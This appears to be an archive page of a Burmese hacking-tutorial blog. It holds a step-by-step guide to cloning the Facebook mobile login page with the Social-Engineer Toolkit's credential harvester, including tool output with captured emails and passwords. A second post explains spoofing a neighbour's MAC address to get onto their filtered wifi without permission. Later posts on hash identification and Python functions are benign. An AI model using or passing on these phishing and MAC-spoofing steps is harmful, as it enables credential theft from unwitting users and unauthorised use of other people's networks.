November 2017 - Khit Minnyo\nHacking Techniques November 30, 2017\nSocial Engineering Attack / Website Cloning (မြန်မာလို)\nMake clone website with se toolkit\nရေးထားတာ ကြာပါပြီ။ 2015 ကတည်းက ရေးခဲ့တာလေးပါ\nTerminal မှာ setoolkit လို့ ရိုက်ခေါ်လိုက်ပါ။ မှတ်မိလွယ်အောင် ဒီိလို မှတ်ထားပါ (se tool kit) ပေါ့။ ရိုက်ရင်တော့ ပေါင်းရိုက်ရတယ်နော်။\nကြားမှာ စာတွေ အများကြီး ဖျောက်ထားပါတယ်။ အောက်ဆုံး စာတန်းကိုပဲ အဓိက ပြောချင်လို့ပါ။ agreement မေးတာပေါ့။\nDo you agree to the terms of service [y/n]: y ပဲ ဖြေရပါမယ်။\nဒါဆိုရင်တော့ ကျွန်တော်တို့ setoolkit ကို အသုံးပြုနိုင်ပြီဖြစ်ပါတယ်။\n1) Social-Engineering Attacks\n2) Penetration Testing (Fast-Track)\n3) Third Party Modules\n4) Update the Social-Engineer Toolkit\n5) Update SET configuration\n6) Help, Credits, and About\n99) Exit the Social-Engineer Toolkit\nသူ့ရဲ့ menu လေးတွေကို ကြည့်ရအောင်ပါ။\nအထက်ပါအတိုင်းပဲ ရှင်းရှင်းလေး ဖော်ပြထားတာကို တွေ့ရပါတယ်။ ကျွန်တော်ကတော့ ဒီနေရာမှာ Site clone လုပ်မှာဖြစ်လို့ 1 ကိုပဲ ရွေးပါတယ်\nset> 1 ရေးပြီး enter လိုက်ပါတယ်။ အောက်ပါအတိုင်း တွေ့ရပါတယ်။ 1 ထဲမှာတင် ထပ်မံ ခွဲထားတဲ့ menu တွေပါ။\n1) Spear-Phishing Attack Vectors\n2) Website Attack Vectors\n3) Infectious Media Generator\n4) CreateaPayload and Listener\n5) Mass Mailer Attack\n6) Arduino-Based Attack Vector\n7) Wireless Access Point Attack Vector\n8) QRCode Generator Attack Vector\n9) Powershell Attack Vectors\n10) SMS Spoofing Attack Vector\n11) Third Party Modules\n99) Return back to the main menu.\nset>2ကို ရေးလိုက်ပါတယ်။ Website Attack Vectors ကို သုံးမှာမို့ပါ။ အပေါ်က menu မှာ ပြန်ကြည့်ရင် 2) Website Attack Vectors ဆိုတာကို တွေ့ရမှာပါ။\nဘာက ဘာအတွက်ဆိုတာကို ENG လို ရှင်းပြထားတာတွေ ဒီအပေါ်မှာ ရှိပါသေးတယ်။\n1) Java Applet Attack Method\n2) Metasploit Browser Exploit Method\n3) Credential Harvester Attack Method\n4) Tabnabbing Attack Method\n5) Web Jacking Attack Method\n6) Multi-Attack Web Method\n7) Full Screen Attack Method\n8) HTA Attack Method\n99) Return to Main Menu\n3) Credential Harvester Attack Method ကို သုံးမှာမို့ ကျွန်တော်က ၃ ရွေးလိုက်ပါတယ်။\nThe first method will allow SET to importalist of pre-defined web\napplications that it can utilize within the attack.\n1) Web Templates\n2) Site Cloner #site ကို clone လုပ်မှာမို့ ဒီ ဟာကိုပဲ သုံးပါမယ်။\n3) Custom Import\n99) Return to Webattack Menu\n2) Site Cloner နော်\n[-] Credential harvester will allow you to utilize the clone capabilities within SET\n[-] to harvest credentials or parameters fromawebsite as well as place them intoareport\n[-] This option is used for what IP the server will POST to.\n[-] If you're using an external IP, use your external IP for this\nset:webattack> IP address for the POST back in Harvester/Tabnabbing:ဒီနေရာမှာ မိမိရဲ့ ip address ကို ဖြည့်ရမှာဖြစ်ပါတယ်။ (ifconfig)\nset:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.10.10\n[-] SET supports both HTTP and HTTPS\n[-] Example: http://www.thisisafakesite.com\nset:webattack> Enter the url to clone:https://m.facebook.com ဒီနေရာမှာ ကိုယ် clone လုပ်မယ့် site ကို ဖြည့်ရမှာပါ။ ကျွန်တော်ကတော့ mobile user ကို target ထားပြီး ဒီလိုဖြည့်လိုက်ခြင်း ဖြစ်ပါတယ်။\n[*] Cloning the website: https://login.facebook.com/login.php\n[*] This could takealittle bit...\nThe best way to use this attack is if username and password form\nfields are available. Regardless, this captures all POSTs onawebsite.\n[*] Apache is set to ON - everything will be placed in your web root directory of apache.\n[*] Files will be written out to the root directory of apache.\n[*] ALL files are within your Apache directory since you specified it to ON.\n[!] Apache may be not running, do you want SET to start the process? [y/n]: y\nဒီနေရာမှာ service apache start လုပ်မထားရသေးလို့ မေးတာပါ။ ကျွန်တော်ဖြေပြထားသလို y ပေါ့\n[ ok ] Starting apache2 (via systemctl): apache2.service.\nApache webserver is set to ON. Copying over PHP file to the website.\nPlease note that all output from the harvester will be found under apache_dir/harvester_date.txt\nFeel free to customize post.php in the /var/www/html directory\n[*] All files have been copied to /var/www/html\n[*] SET is now listening for incoming credentials. You can control-c out of this and completely exit SET at anytime and still keep the attack going.\n[*] All files are located under the Apache web root directory: /var/www/html\n[*] All fields captures will be displayed below.\n[Credential Harvester is now listening below...]\nခုဆိုရင်တော့ ကျွန်တော့် target ဆီက ဝင်လာမယ့် အချိန်ကို စောင့်နေပြီဖြစ်ပါတယ်။ သူ့ဆီကို ပေးရမယ့် link က ကျွန်တော်တို့ ဖြည့်ခဲ့တဲ့ ip address ပါပဲ။\nကျွန်တော်က နေရာ သုံးခုကနေ ဝင်ပြထားပါတယ်\n(' [lsd] => AVooGz02\_n',)\n(' [display] => \_n',)\n(' [enable_profile_selector] => \_n',)\n(' [isprivate] => \_n',)\n(' [legacy_return] => 0\_n',)\n(' [profile_selector_ids] => \_n',)\n(' [return_session] => \_n',)\n(' [skip_api_login] => \_n',)\n(' [signed_next] => \_n',)\n(' [trynum] => 1\_n',)\n(' [timezone] => 480\_n',)\n(' [lgndim] => eyJ3IjoxMzY2LCJoIjo3NjgsImF3IjoxMzY2LCJhaCI6NzQxLCJjIjoyNH0=\_n',)\n(' [lgnrnd] => 231856_Swb2\_n',)\n(' [lgnjs] => 1491186248\_n',)\n(' [email] => khitminnyo@gmail.com\_n',)\n(' [pass] => appleasdfghjkl\_n',)\n(' [timezone] => -390\_n',)\n(' [lgndim] => eyJ3IjozOTMsImgiOjY5OSwiYXciOjM5MywiYWgiOjY5OSwiYyI6MzJ9\_n',)\n(' [lgnjs] => 1491200662\_n',)\n(' [email] => admin@khitminnyo.com\_n',)\n(' [pass] => ilovekalilinux2016.2\_n',)\n(' [timezone] => \_n',)\n(' [lgndim] => \_n',)\n(' [lgnjs] => n\_n',)\n(' [email] => aeroplane@gmail.com\_n',)\n(' [pass] => flying123456\_n',)\n(' [login] => 1\_n',)\nဒီအချက်တွေကို အသုံးပြုဖို့အတွက်တော့ သတိထားစရာအချက် ၂ခု ရှိပါတယ်။\n၁။ ကိုယ့် target နဲ့ ကိုယ်ဟာ network တစ်ခုတည်းအောက်မှာ ရှိနေရမယ်။ (same network)\n၂။ မိမိ လိုချင်တာကို မရမချင်း အင်တာနက် ချိတ်ဆက်ထားဖို့ လိုအပ်မှာ ဖြစ်ပါတယ်။\n(Same Network မဟုတ်ဘဲ WAN မှာ အသုံးပြုနိုင်ဖို့အတွက်တော့ နည်းလမ်းလေးတွေ လိုပါတယ်)\nအောက်ပါစာအုပ်လေး မှာ အပြည့်အစုံ ပါဝင်မှာဖြစ်ပါတယ်။ 😀😀😀\nဒီဇင်ဘာလ ၃ ရက်နေ့မှာ စတင် ဖြန့်ချီသွားမှာဖြစ်ပါတယ်။ စာအုပ်လေးထဲမှာ Member Form လေး တစ်ခု ပါဝင်ပြီး Facebook Group ထဲ ဝင်ရောက်ခွင့် နဲ့ http://www.mmaiotraining.org ကို ၀င်ရောက်ကြည့်ရှုခွင့်ပါ ပူးတွဲ ရရှိမှာဖြစ်ပါတယ်။\nမှတ်ချက်။ ။ www.khitminnyo.com တွင် တင်ထားသော အကြောင်းအရာများနှင့် စာအုပ်တွင် ပါဝင်သည့် အကြောင်းအရာများသည် တူညီခြင်း မရှိပါ။\nterminal ကို ပိတ်လိုက်လည်း ရပါတယ်။ ကွန်ပျူတာ မပိတ်ဖို့နဲ့ ကွန်ပျူတာမှာ အင်တာနက် ချိတ်ထားဖို့ သာ အဓိက လိုအပ်ပါတယ်။\nကိုယ်လိုချင်တာ မရမီတော့ ဒီလိုပဲ စောင့်ရမှာဖြစ်ပါတယ်။\nအဲမှာ အားနည်းချက်တစ်ခု ရှိတာကတော့ ကျွန်တော်တို့ ပေးတဲ့ ip link ကို ဖွင့်လိုက်တယ်ဆိုပါစို့။ mail နဲ့ password မှားသွားရင်ဖြစ်ဖြစ် မှန်သွားရင်ဖြစ်ဖြစ် မူလ website အစစ်ထဲကို ရောက်သွားမှာဖြစ်ပါတယ်\npassword ဖိုင်ကို သွားဖွင့်ကြည့်ချင်ရင်တော့ file >> other location >> Computer >> var >> www >> html ထဲမှာသွားဖွင့်ကြည့်နိုင်ပါတယ်။\nBy KhitMinnyo on November 30, 2017 No comments:\nLabels: Hacking, Hacking Techniques\nKali November 30, 2017\nMacchanger in Kali Linux\napt-get install macchanger ကို အသုံးပြုပြီး mac changer ကို ထည့်သွင်းရမှာဖြစ်ပါတယ်။ ထုံးစံအတိုင်း Y/n ဆို y ပေါ့။\nပြီးရင် ပုံ၂ အတိုင်း box တစ်ခု ပေါ်လာပါမယ်။ Keyboard မှာရှိတဲ့ left arrow key ကို သုံးပြီး no နေရာကနေ yes ဆီရောက်အောင် ရွှေ့ပါ။ ပုံ၃\nပြီးရင် enter လိုက်ရုံပါပဲ။ macchanger ကို အသုံးပြုနိုင်ပြီဖြစ်ပါတယ်။\nsources list ထဲမှာ ဒီစာကြောင်းတစ်ကြောင်း ထည့်ပါ\nပြီးရင် Save ပြီး ထုံးစံအတိုင်း apt-get update လုပ်ပေးလိုက်ပါ။\nပြီးသွားရင်တော့ apt-get install macchanger-gtk ကို အသုံးပြုပြီး ထပ်မံဖြည့်သွင်းပါ။ ပြီးဆုံးသွားပြီဆိုရင်တော့ mac changer gtk ကို အသုံးပြုနိုင်ပြီဖြစ်ပါတယ်။ သွင်းပြီးပြီဆိုရင်တော့ ခုန soruce ရဲ့ ရှေ့မှာ # လေးခံပြီး ပိတ်ထားလိုက်ပါ။\nဒါလေး မပြောခင်မှာ ကျွန်တော် ပြောပြချင်တာလေး ရှိပါတယ်။ Mac Address ဆိုတာ ဘာလဲဆိုတာပေါ့။ Mac Address ဆိုတာဟာ media access control address (MAC address) ဖြစ်ပါတယ်။\nMedia Access Control address (MAC address) ဆိုတာ နက်ဝက်ကဒ် network adapter card or network interface card (NIC) တွေအတွက် unique identifier ထပ်တူညီခြင်း မရှိတဲ့ ဂဏန်းတွေနဲ့ အက္ခရာတွေ သတ်မှတ်ပေးထားပြီး ထုပ်လုပ်သူတွေက မှတ်ပုံတင်ထာတဲ့ address တစ်ခု ဆိုပါတော့။\nOS တွေမှာ MAC address က ခြောက်စုံ (သို့မဟုတ်) ဂဏန်း ၊ အက္ခရာ ၁၂ လုံးနဲ့ ကိုယ်စားပြု သတ်မှတ်ထားပါတယ်..MAC address မှာ ဂဏန်းအားဖြင့် ၀ ကနေ ၉ အထိပါပြီး ၊ အက္ခရာအားဖြင့် A ကနေ F အထိပါဝင်ပါတယ်..တနည်းအားဖြင့် အဲ့ဒီnumbers တွေနဲ့ characters တွေကို ပေါင်းစပ်ထားခြင်းပါပဲ…ဥပမာ - 1A-2B-3C-4D-5E-6F\nMAC Address ကို IEEE 802 Network တွေမှာလည်း အသုံးပြုသလို..Ethernet လို Network တွေမှာပါ အသုံးပြုကြပါတယ်။ Printer , Camera , စတဲ့ ကွန်ပျူတာဆက်စပ် ပစ္စည်းတွေမှာလဲ MAC Address ဆိုတာ သက်ဆိုင်ရာ ပစ္စည်းတစ်ခုချင်း အလိုက်သူ့နေရာနဲ့သူပါဝင်ပါတယ်။\nထားပါတော့ ခု ဆွေးနွေးမှာက အဲသည် Mac Address ကို ဘာလို့ ပြောင်းပစ်မှာလဲပေါ့။\nအချို့ wifi လိုင်းတွေမှာ password လုံးဝ မထားပါဘူး။ ဘယ်အလုံးကိုတော့ ချိတ်မယ် ဘယ်အလုံးကိုတော့ လက်မခံဘူးဆိုတာကို Mac Address တွေကို filter လုပ်ပြီး ထည့်သွင်းထားပါတယ်။ ဒါကြောင့် တစ်ခါတစ်ရံမှာ ကျွန်တော်တို့ ပတ်ဝန်းကျင်က wifi လိုင်းတွေကို password လည်း မတွေ့ပါဘဲလျက်က ချိတ်ဆက်လို့ မရ ဖြစ်တတ်ပါတယ်။ ဘာကြောင့်လဲဆိုရင်တော့ ကျွန်တော်တို့ mac address ကို လက်မခံတဲ့အတွက် ဖြစ်ပါတယ်။\nအဲအခါမှာ သုံးလို့ ရနေတဲ့ တစ်ယောက်ယောက်ရဲ့ ဖုန်း ဒါမှမဟုတ် ကွန်ပျူတာမှာရှိတဲ့ Mac Address လေးကိုသာ ကြည့်နိုင်ရင် ကျွန်တော်တို့ အဲသည် Address အတိုင်းကို လိုက်ပြောင်းပြီး သုံးလို့ ရပြီပေါ့။ ဒါကတော့ MAC ADDRESS နဲ့ ချိတ်ဆက်ရတဲ့ ဝိုင်ဖိုင် အမျိုးအစားမျိုးကို ဆိုလိုပါတယ်။\nအဲသည်အပိုင်းတွေက နောက်မှ လေ့လာရမှာဖြစ်လို့ ထပ်ရှင်းမပြတော့ပါဘူး။ ဖုန်းတွေမှာဆိုရင်လည်း setting ထဲမှာ မွှေနှောက်ရှာဖွေရင် mac address တွေ့ပါမယ်။ linux shell လေးတင်ပြီး ifconfig လို့ ရိုက်လိုက်ရင်လည်း တွေ့ရမှာဖြစ်ပါတယ်။ ကျွန်တော်တို့ကတော့ kali မှာမို့ ifconfig ကို terminal မှာ ရိုက်ရှာလိုက်ရုံပါပဲ။ ကျွန်တော် နမူနာ ရှာပြထားပါတယ်\neth0: flags=4099 mtu 1500\nether b8:2a:72:aa:d5:c6 txqueuelen 1000 (Ethernet)\nဒီအပေါ်ကနေရာမှာ ကြိုးနဲ့ သုံးတဲ့ usb tethering address ပါ\nRX packets 4592 bytes 346340 (338.2 KiB)\nTX packets 4592 bytes 346340 (338.2 KiB)\ninet 192.168.10.10 netmask 255.255.255.0 broadcast 192.168.43.255\ninet6 fe80::b3e6:1b02:ca03:2c96 prefixlen 64 scopeid 0x20\nခုစာကြောင်းအောက်မှာ ether ဆိုပြီး ပြထားတာ mac address ဖြစ်ပါတယ်။\nether 55:4a:04:63:9a:0c txqueuelen 1000 (Ethernet)\nRX packets 74695 bytes 85760925 (81.7 MiB)\nTX packets 56898 bytes 10719183 (10.2 MiB)\nကိုယ့်ကိုယ်ကိုယ် မကျိန်းသေဘူး ထင်ရင်လည်း မိမိတို့ဖုန်းကနေ ဝိုင်ဖိုင်လွှင့်ချိတ်လိုက်ပါ။ ပြီးရင် လွှင့်ထားတဲ့ ဖုန်းရဲ့ ththering setting ထဲက connected devices ဆိုတဲ့ထဲ ဝင်ကြည့်လိုက်ရင်ကို wifi mac address ကို တွေ့ရမှာဖြစ်ပါတယ်။ (မိမိတို့ အိမ်နီးချင်းမှာ mac address နဲ့ အသုံးပြုတဲ့ wifi လိုင်းလေးသာ ရှိလို့ကတော့ ဒီတစ်ချက်တည်းနဲ့တင် အဆင်ပြေပါပြီ။ မိမိဖုန်းကနေ ခဏ ပေးလွှင့်။ သူ့ဖုန်းကို ချိတ်ခိုင်း။ ပြီးရင် သူ့ mac address ကို screenshot ယူလိုက်။ ပွဲသိမ်းပါပဲ။ ကိုယ်က အဲအတိုင်း လိုက်ပြောင်းပြီး သူ့ဝိုင်ဖိုင်လိုင်းနဲ့ ချိတ်လိုက်တာနဲ့ သုံးလို့ ရပြီလေ။\nwifi mac address ကို zapya နဲ့ ဖိုင်ကူးရင်းနဲ့လည်း ကိုယ့်ဘက်က host လုပ်ထားရင် ယူလို့ ရနိုင်ပါတယ်။ ကဲ ပေရှည်သွားပြီ။ ခုန ရလာတဲ့ mac address ကို မှတ်ထားပေါ့။\nmacchanger-gtk လို့ terminal မှာ ရိုက်ခေါ်လိုက်မယ်ဆိုရင်လည်း ပေါ်လာတဲ့ box မှာ option ရွေး (ပုံ ၄)၊ type ရွေး (ပုံ ၅)၊ change လို့ ရပါပြီ။ မိမိ add ကို ကြည့်ချင်သေးတယ်ဆိုရင်လည်း See current mac address ကို နှိပ်ကြည့်နိုင်ပါတယ်။ ခု gtk ကတော့ random ပဲ ပြောင်းဦးမှာမို့ option မှာ random ပဲ ရွေးပေါ့။ ဒါမှမဟုတ် တစ်ခုစီ လိုက်ရွေး စမ်းကြည့်ပေါ့။\nLabels: Hacking, Kali\nHashing in Kali Linux\nHash Identifier (How to Hash ID)\nHash identifier ကို စတင် အသုံးပြုရန်အတွက် Application >> Passwords Attack ကို တစ်ချက် နှိပ်လိုက်ဖို့ လိုပါတယ်။ အဲမှာ သူ့ အမျိုးအစားအလိုက် ပြန်ခွဲထားတဲ့ထဲကမှ offline attacks ဆိုတာကို ရွေးပြီး click လိုက်ပါ။ ညာဘက်မှာ offline tools တွေ တွေ့မြင်ရမှာဖြစ်ပါတယ်။ အဲထဲမှာ hash identifier ကို ဖွင့်လိုက်လို့ ရပါတယ်။ မရှင်းလျင် ပုံ၁ ကို ကြည့်ပါ။\nTerminal ကနေ ခေါ်သုံးချင်ရင်တော့ အောက်ပါအတိုင်း အလွယ်တကူ ရိုက်ခေါ်နိုင်မှာပါ။ စာလုံးပေါင်းတော့ မှန်ဖို့ လိုပါတယ်ဗျ။\n# __ __ __ ______ _____ #\n# /\_ \_/\_ \_ /\_ \_ /\___ _\_ /\_ _ `\_ #\n# \_ \_ \__\_ \_ __ ____ \_ \_ \____ \_/_/\_ \_/ \_ \_ \_/\_ \_ #\n# \_ \_ _ \_ /'__`\_ / ,__\_ \_ \_ _ `\_ \_ \_ \_ \_ \_ \_ \_ \_ #\n# \_ \_ \_ \_ \_/\_ \__\_ \__/\___, `\_ \_ \_ \_ \_ \_ \__\_ \___ \_ \_ \__\_ \_ #\n# \_ \__\_ \__\_ \____ \__\_/\_____/ \_ \__\_ \__\_ /\______\_ \_ \_____/ #\n# \_/_/\_/_/\_/__/\_/_/\_/___/ \_/_/\_/_/ \_/_____/ \_/___/ v1.1 #\n# By Zion3R #\n# www.Blackploit.com #\n# Root@Blackploit.com #\nDay5မှာ ပြောင်းခဲ့တဲ့ HashCode တွေ ကို မှတ်မိသေးရဲ့လား။ အဲဒါတွေကို ဒီနေရာကနေ ပြန်ဖော်ကြည့်မှာဖြစ်ပါတယ်။ မမှတ်မိရင် ပြန်ကြည့်ပါ။\n[*] CHOOSE ONE OF THE OPTIONS BELOW TO CONTINUE:\nA) ENCODE - MD5\nB) ENCODE - SHA1\nC) ENCODE - SHA224\nD) ENCODE - SHA256\nE) ENCODE - SHA384\nF) ENCODE - SHA512\nG) ENCODE/DECODE - BASE64\nH) ENCODE/DECODE - BINARY\nI) ENCODE/DECODE - HEXADECIMAL\nJ) ENCODE/DECODE - CIPHER OF CESAR\nK) REVERSE - TEXT\nL) REVERSE - WORDS\nPLACE THE TEXT YOU WANT TO ENCRYPT IN MD5: Khit Minnyo\n8d624182c69579d8ce3eb700af4b3a56 ဒါကတော့ ကျွန်တော့်နာမည်ကို ပြောင်းလိုက်လို့ ရလာတဲ့ Hash Code ပါ\nDay5Lesson မှာလည်း ရှင်းပြပြီးသားဖြစ်ပါတယ်။ ခု ကျွန်တော်တို့က Day5မှာ ရှင်းပြီးသားကို ဘာလို့ ပြန်သုံးမှာလဲ။ မေးစရာရှိပါတယ်။\nDay5lesson မှာက python3 hashcode-en.py ကို အသုံးပြုပြီး စာသားတွေကို HashCode အဖြစ် ပြောင်းလဲခဲ့တာ ဖြစ်ပါတယ်။ ဒါဆိုရင် ကျွန်တော်တို့အနေနဲ့ အဲမှာပဲ ပြန်ဖော်လို့ မရဘူးလားလို့ မေးစရာရှိပါတယ်။\nအထက်ပါ menu ကို ကြည့်လိုက်ရင် သိသာပါတယ်။ သူက ဘာ form နဲ့ လာမှန်းမသိပါဘူး။ ဥပမာ ပြောပြရရင် ကျွန်တော်တို့ ထုတ်ယူလိုက်တဲ့ စာသားက ဘာနဲ့ ဝှက်ရေးထားလဲဆိုတာ မသိနိုင်ပါဘူး။ MD5 လား AHA1 လား အများကြီးပါပဲ။ ဒါတွေကို ဘာနဲ့ ပြန်ဖော်ရမလဲဆိုတာက စဉ်းစားစရာ အချက်တစ်ခု ဖြစ်လာမှာပါ။ ဒီအခြေအနေကို ကူညီပေးမှာကတော့ ခု hash-identifier ပဲ ဖြစ်ပါတယ်။ အဲဒီမှာ ရ ထားတဲ့ စာသားတွေကို ပြန်ကူးထည့်ကြည့်မယ်။\nDay5မှာတုန်းက ကျွန်တော့်အနေနဲ့ နမူနာ ပြောင်းပြထားတဲ့ ကျွန်တော့်နာမည် ကုဒ်လေးကို ပြန်ထည့်ပြီး စမ်းကြည့်လိုက်ပါတယ်။\nroot@kmn:~# hash-identifier ခေါ်လိုက်တယ်\nကျွန်တော့်နာမည်ကို ပြောင်းလို့ ရ ထားတဲ့ ကုဒ်တွေ ထည့်လိုက်တယ်\nPossible Hashs: ဒါက ဖြစ်နိုင်ခြေ အရှိဆုံး list ပါ။\n[+] MD5 *************** ဒီကောင်က ပို ပြီး ဖြစ်နိုင်ခြေ အရှိဆုံးလို့ ဆိုလိုပါတယ်\n[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))\nဖြစ်နိုင်ခြေ အရှိဆုံး ကုဒ် ပုံစံကို ဖော်ပြပေးထားတယ်/ MD5 ဆိုတာကို မှတ်ထားပါ။\nအောက်ကဟာတွေကတော့ ဖြစ်နိုင်ခြေ နည်းတဲ့ ကုဒ်တွေပါတဲ့။\nLeast Possible Hashs:\n[+] RAdmin v2.x\nခုဆိုရင်တော့ ကျွန်တော်တို့အနေနဲ့ ဘာကုဒ်နဲ့ တွဲရေးထားတယ်ဆိုတာကို ခန့်မှန်းမိပြီ ဖြစ်ပါတယ်။\nPython-for-Hackers November 29, 2017\nPython3 Lesson 4\nLesson 1 မကြည့်ရသေးသူမှာ ဒီစာကြောင်းကို နှိပ်ပါ\nLesson2မကြည့်ရသေးသူမှာ ဒီစာကြောင်းကို နှိပ်ပါ\nLesson3မကြည့်ရသေးသူမှာ ဒီစာကြောင်းကို နှိပ်ပါ\nဒီခါတော့ ဖန်ရှင်လေးတွေကို အဓိက ဆွေးနွေးသွားပါမယ်။\nFunction ဆိုတာဟာ ဆက်စပ် action တစ်ခုခုကို လုပ်ဆောင်ဖို့အတွက် reusable code တွေကို ပေါင်းစပ်ထားတဲ့ block တစ်ခုပါ။\nFunction တွေဟာ ကျွန်တော်တို့ ရေးဆွဲမယ့် application တွေရဲ့ module တွေကို ပိုကောင်းအောင် လုပ်ပေးသလိုပဲ ကုဒ်တွေ ပြန်သုံးတဲ့အခါလည်း အဆင်ပြေအောင် လုပ်ဆောင်ပေးပါတယ်။\nPython မှာတော့built-in function တွေ အများကြီး ပါဝင်ပြီး အလွန်အသုံးဝင်တဲ့ဖန်ရှင်တွေ ပါဝင်ပါတယ်။ နမူနာပြောရရင်တော့ print function လိုမျိုး ဖန်ရှင်တွေ ဖြစ်ပါတယ်။\nကဲ ဥပမာလေး စလိုက်ရအောင်။ (IDLE3မှာ ရေးလိုက်တယ်ဆိုတာတော့ ပြောစရာမလိုတော့ဘူးထင်ပါတယ်။)\n>>> print ("Happy Birthday to you!")\n>>> print ("Happy Birthday, dear Emily.")\nHappy Birthday, dear Emily.\n>>> print ("Happy Birthday to you! \_n")\n>>> print ("Hope you haveawonderful birthday!")\nတစ်ကြောင်းစီ အဖြေကို မြင်ရပါပြီ။ ဒါကတော့ print function လေးပါ။ လေးကြောင်းမြောက်နဲ့ ၅ကြောင်းမြောက်ကြားမှာ enter တစ်နေရာစာ ခြားနိုင်ဖို့အတွက် လေးကြောင်းမြောက် လိုင်းရဲ့ နောက်ဆုံးမှာ \_n ဆိုတာလေး ထည့်ရေးထားတာ သတိပြုမိမယ်ထင်ပါတယ်။ သီချင်းနဲ့ မသက်ဆိုင်တဲ့ စာသားကို ခြားပေးလိုက်တာပါ။\nCreating Functions (ဖန်ရှင်များကို ဖန်တီးခြင်း)\ndef ဆိုတဲ့ keyword နဲ့ function block တွေကို သတ်မှတ်နိုင်ပါတယ်။ သူ့ရဲ့ အသုံးပြုပုံလေးကတော့ def name () : ပါ။ def ကိုအရင်ရေးရပါတယ်။ ပြီးရင် space ခြားပြီး function name ကို သတ်မှတ်လို့ ရပါတယ်။ ပြီးရင်တော့ parentheses () နဲ့ colon : တို့ကို ထည့်သွင်းရပါမယ်။\ne.g. def happyBirthdayEmily(): ပေါ့။\nခုန happy birthday သီချင်းလေးနဲ့ ပြန်ပြီး ပေါင်းစပ်ရအောင်။\nနမူနာ ပရိုဂရမ်လေးတစ်ခု ဆွဲဖို့အတွက် IDLE3 ကနေ File>>>New လေး ခေါ်လိုက်ရအောင်။\n#Simple print function\ndef happyBirthdayEmily ():\nprint ("Happy Birthday to you!")\nprint ("Happy Birthday, dear Emily.")\nprint ("Happy Birthday to you! \_n")\nprint ("Hope you haveawonderful birthday!")\nအထက်ပါအတိုင်း ကုဒ်လေးတွေ ရိုက်ပြီးတဲ့အခါ day5 နာမည်နဲ့ desktop ပေါ် Save ပါ။ RUN option ကနေပဲ RUN လိုက်ပါ။\nပုံ၁ မှာ run ထားတဲ့ပုံစံ နမူနာ ပြထားပါသေးတယ်ဗျ။ RUN ပြီးလို့ နောက်တစ်လိုင်းကူးသွားရင် ဖန်ရှင်နာမည်ဖြစ်တဲ့ happyBirthdayEmily ကို ရိုက်ကြည့်ပါဦး။ happy birthday သီချင်းစာသားလေးတွေ ပြန်ထွက်လာမှာဖြစ်ပါတယ်။\nကုဒ်တွေကို ကူးမထည့်ပါနဲ့ မိမိဘာသာ ရိုက်ပါ။ ကူးထည့်ခြင်းသည် တတ်မြောက်မှုကို အနှောင့်အယှက်ပေးပါတယ်ခင်ဗျ။\nParameters in Functions\ndef functioname (parameters):\n** return [expression] ဆိုတာကို ဖန်ရှင်ကို ခေါ်သုံးသူအတွက် ဖော်ပြချက်ကို ပြသပြီး ဖန်ရှင်ကနေ ထွက်ခွာဖို့ အသုံးပြုပါတယ်။ သဘောတရားကို ပြောပြရတာက ခက်ပါတယ်။ လက်တွေ့ သုံးတဲ့အခါ နားလည်လာမှာပါ။\nfunction တစ်ခုကို def သတ်မှတ်တဲ့နေရာမှာ နာမည် တစ်ခုပဲ အသုံးပြု သတ်မှတ်ပေးပါတယ်။ parameter တွေမှာတော့ function, structures နဲ့ blocks of code တွေ ပါဝင်နိုင်ပါတယ်။ ဆိုလိုချင်တာက ဖန်ရှင်နာမည်တစ်ခု သတ်မှတ်တည်ဆောက်ထားပေမယ့် အထဲမှာ ပါဝင်တဲ့ parameter တွေကတော့ အမျိုးမျိုး ကွဲပြားနိုင်ပါတယ်။\nဖန်ရှင်တစ်ခုရဲ့ အခြေခံ structure ကို finalized လုပ်တဲ့အခါ ဒီဖန်ရှင်တွေကို အခြားဖန်ရှင်တွေကနေ တိုက်ရိုက် ခေါ်သုံးနိုင်သလို pythom prompt ကနေ ကြုံတဲ့အခါတိုင်း အလျဉ်းသင့်သလို ခေါ်သုံးနိုင်မှာ ဖြစ်ပါတယ်။ ကဲ printme() function လေးကို ခေါ်သုံးပြီး နမူနာ လုပ်ကြည့်ရအောင်ဗျာ.........\nIDLE3မှာ new မခေါ်ဘဲ တိုက်ရိုက် ရေးကြည့်ရအောင်\n>>> def printme(str):\n"This printsapased string into this function."\n>>> printme("lm first call to user defined function!")\nlm first call to user defined function!\n>>> printme("Again second call to the same function!")\nAgain second call to the same function!\nစာသားတွေထဲမှာ ထည့်ပြီး ရှင်းပြထားပါတယ်။ ပြန်ပြောပြရမယ်ဆိုရင်\n>>> def printme(str): ဒါက အားလုံးသိတဲ့အတိုင်း def ကိုသုံးပြီး printme ဖိုင်ကို တည်ဆောက်လိုက်ပါတယ်။\n"This printsapased string into this function." str လို့ ဆိုခဲ့တာကြောင့် string အနေနဲ့ စာသားကို ထည့်သွင်းလိုက်ပါတယ်။\nprint (str) ထည့်သွင်းလိုက်တဲ့ str လေးကို print လုပ်လိုက်ပါတယ်\nreturn; အဆုံးသတ်ဖို့ ထည့်သွင်းလိုက်တဲ့ return ရဲ့ နောက်မှာ semicolon ; ထည့်သွင်းခဲ့ခြင်းကို မမေ့ပါနဲ့\nခုဆိုရင်တော့ သတ်မှတ်ချက်လေးတွေကို ထည့်သွင်းပြီးပြီမို့ စတင်ခေါ်ကြည့်လိုက်ပါတယ်။\n>>> printme(I'm first call to user defined function!") printme ကို သတ်မှတ်ခဲ့စဉ်တုန်းက str နဲ့ပဲ သတ်မှတ်ခဲ့တာမို့ ဒီနေရာမှာ ဖြည့်သွင်းလိုက်မယ့် string ကို ဖော်ပြပေးသွားမှာပါ။\nI'm first call to user defined function! ဒီနေရာမှာ အပေါ်က ဖြည့်သွင်းတဲ့ string ပေါ့\n>>> printme("Again second call to the same function!") နောက်တစ်ကြောင်း ပထမနဲ့ မတူအောင် ဖြည့်ပြီး ခေါ်လိုက်ပါတယ်\nAgain second call to the same function! ခေါ်လိုက်တဲ့အတိုင်းပဲ ထွက်ပါတယ်။\n်ပြောစရာရှိကောင်းရှိလာနိုင်ပါတယ်။ အဲလို တစ်ကြောင်းစီ ထုတ်ချင်တာများ printme ကို သတ်မှတ်မနေဘဲ print နဲ့ပဲ တိုက်ရိုက်ထုတ်ပေါ့ လို့။ ပြောစရာရှိလာပါတယ်။ print နဲ့ပဲ တိုက်ရိုက်ထုတ်လို့လည်း ရပါတယ်။\nမတူညီတာက printme ဆိုတာ ကျွန်တော်တို့ သတ်မှတ်လိုက်တဲ့ ဖန်ရှင်ဖြစ်နေပါတယ်။ 